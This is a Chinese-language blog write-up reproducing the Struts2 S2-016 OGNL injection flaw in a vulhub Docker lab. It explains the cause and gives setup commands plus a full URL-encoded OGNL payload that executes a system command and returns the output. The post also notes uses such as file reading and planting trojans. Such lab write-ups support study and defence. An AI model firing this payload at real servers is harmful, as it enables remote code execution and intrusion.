影响范围:

  • Struts 2.0.0 - 2.3.15

漏洞类型:

OGNL表达式注入

操作系统限制:

配置要求:

默认配置

漏洞利用:

执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测

利用原理:

在Struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction"作为导航或重定向过滤,在这些前缀后面可以加入OGNL表达式,Struts2没有对这些前缀做过滤,可以利用OGNL表达式调用Java静态方法执行任意系统命令

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-016
#拉取镜像
docker-compose up -d

访问http://公网:8080,出现Hello world即搭建成功

用burpsuite抓取http://公网:8080/index.action数据包

发送到Repeater模块

在action后添加payload,括号已经经过url编码

?redirect:%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'id'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3D(new%20java.io.InputStreamReader(%23b))%2C%23d%3D(new%20java.io.BufferedReader(%23c))%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

发送后页面出现id结果


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Struts2
喜欢就支持一下吧